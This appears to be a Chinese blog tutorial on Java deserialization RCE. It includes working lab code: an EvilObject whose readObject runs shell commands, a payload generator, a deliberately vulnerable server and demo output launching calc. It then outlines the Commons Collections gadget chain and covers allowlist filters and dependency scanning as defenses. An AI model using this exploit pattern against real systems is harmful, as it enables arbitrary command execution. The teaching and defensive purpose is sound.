Java 反序列化漏洞深度解析(二):RCE 漏洞利用与防御实战

文章目录

    • 一、反序列化漏洞是什么?
      • [1.1 漏洞本质](#1.1 漏洞本质)
      • [1.2 类比理解](#1.2 类比理解)
      • [1.3 为什么危险?](#1.3 为什么危险?)
    • [二、RCE 漏洞:从 DNS 探测到命令执行](#二、RCE 漏洞:从 DNS 探测到命令执行)
      • [2.1 什么是 RCE?](#2.1 什么是 RCE?)
      • [2.2 核心思路](#2.2 核心思路)
      • [2.3 恶意对象(EvilObject.java)](#2.3 恶意对象(EvilObject.java))
    • 三、完整的攻击链演示
      • [3.1 项目结构](#3.1 项目结构)
      • [3.2 Payload 生成器(PayloadGenerator.java)](#3.2 Payload 生成器(PayloadGenerator.java))
      • [3.3 漏洞服务器(VulnerableServer.java)](#3.3 漏洞服务器(VulnerableServer.java))
      • [3.4 运行演示](#3.4 运行演示)
    • 四、真实世界的反序列化漏洞
      • [4.1 著名漏洞案例](#4.1 著名漏洞案例)
      • [4.2 为什么真实攻击更复杂?](#4.2 为什么真实攻击更复杂?)
      • [4.3 Commons Collections 利用链](#4.3 Commons Collections 利用链)
      • [4.4 Gadget Chain 的原理](#4.4 Gadget Chain 的原理)
    • 五、如何防御反序列化漏洞?
      • [5.1 根本方案:禁用原生序列化](#5.1 根本方案:禁用原生序列化)
      • [5.2 JDK 9+:ObjectInputFilter](#5.2 JDK 9+:ObjectInputFilter)
      • [5.3 Java 8 及以下:自定义 ObjectInputStream](#5.3 Java 8 及以下:自定义 ObjectInputStream)
      • [5.4 依赖扫描](#5.4 依赖扫描)
    • 六、总结
      • [6.1 核心要点](#6.1 核心要点)
      • [6.2 安全开发原则](#6.2 安全开发原则)
    • 附录:项目文件

系列导读:本文是 Java 反序列化漏洞系列文章的第二篇,重点讲解 RCE 漏洞利用、真实案例分析、Gadget Chain 原理以及防御策略。建议先阅读[第一篇](file:///d:/Programs/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90.md)了解序列化基础原理和 DNS 探测技术。

仓库地址:https://gitcode.com/lcreek/Security


一、反序列化漏洞是什么?

1.1 漏洞本质

反序列化漏洞:当应用程序对不可信的数据执行反序列化操作时,攻击者可以构造恶意数据,在目标系统上执行任意代码。

1.2 类比理解

想象你收到一个包裹:

  • 正常情况:你拆开包裹,里面是朋友寄的礼物
  • 漏洞情况:你拆开包裹的瞬间,包裹里的炸弹自动爆炸了!

反序列化漏洞就是:在"拆开包裹"(反序列化)的过程中,恶意代码自动执行了

1.3 为什么危险?

特点 说明
自动执行 不需要调用任何方法,反序列化时自动触发
权限高 以应用程序的权限执行代码
影响广 几乎所有使用 Java 序列化的系统都可能受影响
难检测 恶意代码藏在数据中,防火墙难以发现

二、RCE 漏洞:从 DNS 探测到命令执行

2.1 什么是 RCE?

RCE(Remote Code Execution):远程代码执行。攻击者可以在目标系统上执行任意命令,是最高危的漏洞类型之一。

2.2 核心思路

在[第一篇](file:///d:/Programs/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90.md)中,我们使用 DnsObjectreadObject() 中触发 DNS 查询。现在,我们将其升级为执行系统命令:

java 复制代码
// DNS 探测(第一篇)
InetAddress.getByName(domain);  // 触发 DNS

// RCE 攻击(本篇)
Runtime.getRuntime().exec("cmd /c calc");  // 执行命令

2.3 恶意对象(EvilObject.java)

完整代码 :[EvilObject.java](file:///d:/Programs/Security/DeserializationVuln/src/EvilObject.java)

java 复制代码
public class EvilObject implements Serializable {
    private String command;  // 要执行的命令

    public EvilObject(String command) {
        this.command = command;
    }

    // 【关键】反序列化时自动调用
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();  // 读取 command 字段
        executeCommand(command);  // 执行恶意命令!
    }

    // 执行系统命令
    private void executeCommand(String cmd) throws IOException {
        Process process;
        String os = System.getProperty("os.name").toLowerCase();

        // 根据操作系统选择命令执行方式
        if (os.contains("win")) {
            process = Runtime.getRuntime().exec("cmd /c " + cmd);
        } else {
            process = Runtime.getRuntime().exec("sh -c " + cmd);
        }

        try {
            process.waitFor();  // 等待命令执行完成
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
    }
}

逐行解释

  1. implements Serializable:让类可以被序列化
  2. private void readObject(...):这是"魔法方法",反序列化时自动调用
  3. ois.defaultReadObject():读取对象的正常数据(command 字段)
  4. Runtime.getRuntime().exec(...):执行系统命令------这就是漏洞!

三、完整的攻击链演示

3.1 项目结构

复制代码
DeserializationVuln/
├── src/
│   ├── PayloadGenerator.java    # 攻击者:生成恶意 Payload
│   ├── EvilObject.java          # 恶意对象:包含 readObject() 后门
│   ├── DnsLogExploit.java       # DNS 探测(第一篇)
│   └── VulnerableServer.java    # 目标服务器:存在反序列化漏洞
├── build.ps1                    # 编译脚本
└── run.ps1                      # 运行脚本

3.2 Payload 生成器(PayloadGenerator.java)

完整代码 :[PayloadGenerator.java](file:///d:/Programs/Security/DeserializationVuln/src/PayloadGenerator.java)

攻击者使用这个程序生成恶意数据:

java 复制代码
public class PayloadGenerator {

    public static void main(String[] args) throws Exception {
        // 构造恶意数据
        Map<String, Object> payload = createPayload();

        // 序列化到文件
        serializePayload(payload, "payload.ser");
    }

    private static Map<String, Object> createPayload() {
        Map<String, Object> map = new HashMap<>();

        // 创建恶意对象
        EvilObject evil = new EvilObject("calc");  // 打开计算器

        // 藏到 HashMap 里
        map.put("data", evil);
        map.put("type", "user_input");

        return map;
    }

    private static void serializePayload(Object obj, String filename) throws IOException {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
            oos.writeObject(obj);
        }
    }
}

类比理解

这就像制作一个"特洛伊木马":

  1. 创建一个普通的 HashMap(看起来像正常数据)
  2. 但里面藏着一个 EvilObject(恶意对象)
  3. 序列化后,通过网络发送给目标

3.3 漏洞服务器(VulnerableServer.java)

完整代码 :[VulnerableServer.java](file:///d:/Programs/Security/DeserializationVuln/src/VulnerableServer.java)

模拟存在漏洞的服务器:

java 复制代码
public class VulnerableServer {

    public static void main(String[] args) {
        // 接收数据
        byte[] data = receiveData("payload.ser");

        // 反序列化(漏洞触发点!)
        Object result = deserialize(data);

        // 处理数据
        processData(result);
    }

    // 【漏洞所在】反序列化数据
    private static Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
            // 漏洞:直接反序列化不可信数据
            return ois.readObject();
        }
    }
}

漏洞分析

deserialize() 方法的问题:

  1. 直接反序列化不可信数据
  2. 没有检查数据类型
  3. 没有过滤危险类
  4. 反序列化过程中,EvilObject.readObject() 自动执行

3.4 运行演示

powershell 复制代码
# 进入项目目录
cd d:\Programs\Security\DeserializationVuln

# 编译
.\build.ps1

# 运行
.\run.ps1

输出结果

复制代码
=== 步骤 1: 攻击者生成恶意 Payload ===
[1] 构造恶意 Payload...
    ✓ Payload 构造完成
[2] 序列化 Payload 到文件: payload.ser
    ✓ 序列化完成

=== 步骤 2: 目标服务器反序列化(触发漏洞)===
[1] 接收数据...
    接收到 186 字节数据
[2] 反序列化数据...

[!] 漏洞触发!正在执行命令: calc
[!] 命令执行完成

[3] 处理数据...
    数据类型: Map
    包含键: [data, type]

关键观察

  • 服务器只是调用了 ois.readObject()
  • 没有显式调用 EvilObject 的任何方法
  • calc 命令被执行了(计算器弹出)
  • 这就是反序列化漏洞的威力!

四、真实世界的反序列化漏洞

4.1 著名漏洞案例

漏洞 影响组件 年份 CVSS
CVE-2015-4852 Oracle WebLogic 2015 10.0
CVE-2016-0792 Jenkins 2016 10.0
CVE-2016-4437 Apache Shiro 2016 9.8
CVE-2017-18349 Fastjson 2017 9.8

4.2 为什么真实攻击更复杂?

我们的演示使用了自定义的 EvilObject,但真实攻击中:

  1. 不能修改目标代码:攻击者只能利用已有的类
  2. 需要 Gadget Chain:通过多个类的组合,最终执行恶意代码
  3. 需要绕过防护:如白名单、过滤器等

4.3 Commons Collections 利用链

真实攻击中,攻击者使用第三方库中的 Gadget Chain:

复制代码
ObjectInputStream.readObject()
    ↓
AnnotationInvocationHandler.readObject()
    ↓
LazyMap.get()
    ↓
ChainedTransformer.transform()
    ↓
InvokerTransformer.transform()
    ↓
Method.invoke(Runtime.getRuntime().exec("calc"))

关键 :这个利用链只需要目标系统引入了 commons-collections 库,就可以执行任意代码。

4.4 Gadget Chain 的原理

Gadget:可被利用的类或方法。

Gadget Chain:多个 Gadget 组合成的利用链。

复制代码
攻击者构造的序列化数据
    ↓
触发 JDK 类的 readObject()
    ↓
调用第三方库的方法
    ↓
链式调用多个方法
    ↓
最终执行 Runtime.exec()

五、如何防御反序列化漏洞?

5.1 根本方案:禁用原生序列化

java 复制代码
// 改用 JSON、Protobuf 等无执行语义的格式
// 使用 Jackson、Gson 等库
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(obj);  // 序列化
Object obj = mapper.readValue(json, Object.class);  // 反序列化

优点:JSON 等格式没有"魔法方法",反序列化时不会自动执行代码。

5.2 JDK 9+:ObjectInputFilter

java 复制代码
// 白名单模式:只允许指定的类
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.util.HashMap;java.lang.String;java.lang.Integer;!*"
);
ois.setObjectInputFilter(filter);

工作原理

  • java.util.HashMap:允许反序列化 HashMap
  • java.lang.String:允许反序列化 String
  • !*:拒绝所有其他类

5.3 Java 8 及以下:自定义 ObjectInputStream

java 复制代码
public class SecureObjectInputStream extends ObjectInputStream {

    private static final Set<String> ALLOWED_CLASSES = new HashSet<>(Arrays.asList(
        "java.lang.String", "java.lang.Integer", "java.util.HashMap"
    ));

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String name = desc.getName();
        if (!ALLOWED_CLASSES.contains(name)) {
            throw new InvalidClassException("Unauthorized class: " + name);
        }
        return super.resolveClass(desc);
    }
}

工作原理:在反序列化之前,检查类名是否在白名单中。

5.4 依赖扫描

使用工具扫描项目依赖,确认是否有危险的库:

bash 复制代码
# OWASP Dependency-Check
dependency-check.sh --project "MyApp" --scan ./lib

# Snyk CLI
snyk test --all-projects

六、总结

6.1 核心要点

  1. 反序列化漏洞的根源readObject() 等魔法方法会被自动调用
  2. 攻击方式:构造包含恶意对象的序列化数据
  3. 触发条件:目标系统对不可信数据执行反序列化
  4. 防御方案:禁用原生序列化、使用白名单、依赖扫描

6.2 安全开发原则

永远不要反序列化不可信的数据

任何来自外部输入的对象,都不应被视为"安全"

JDK 自带类 ≠ 安全类


附录:项目文件

文件 说明
[DnsLogExploit.java] DNS 探测(第一篇)
[PayloadGenerator.java] RCE Payload 生成器
[EvilObject.java] 恶意对象(执行命令)
[VulnerableServer.java] 模拟漏洞服务器
[build.ps1] 编译脚本
[run.ps1] 运行脚本
相关推荐
弹简特27 分钟前
【Java项目-轻聊】01-项目演示+项目介绍+准备工作+项目源码
java
luck_bor43 分钟前
File类&递归作业
java·开发语言
武子康1 小时前
Java-07 深入浅出 MyBatis数据库一对多关系模型实战:表结构设计与查询实现
java·后端
REDcker3 小时前
Linux OverlayFS详解
java·linux·运维
Royzst3 小时前
xml知识点
java·服务器·前端
鱼鳞_4 小时前
苍穹外卖-Day08(缓存套餐)
java·redis·缓存
过期动态4 小时前
【LeetCode 热题 100】移动零
java·数据结构·算法·leetcode·职场和发展·rabbitmq
sinat_255487815 小时前
IDEA:查找文件/类
java·ide·设计模式·intellij-idea
AI人工智能+电脑小能手6 小时前
【大白话说Java面试题 第77题】【Mysql篇】第7题:回表查询与全表扫描的区别?
java·开发语言·数据库·mysql·面试
lulu12165440786 小时前
Claude Code SpringBoot技能体系架构设计与演进
java·人工智能·spring boot·后端·ai编程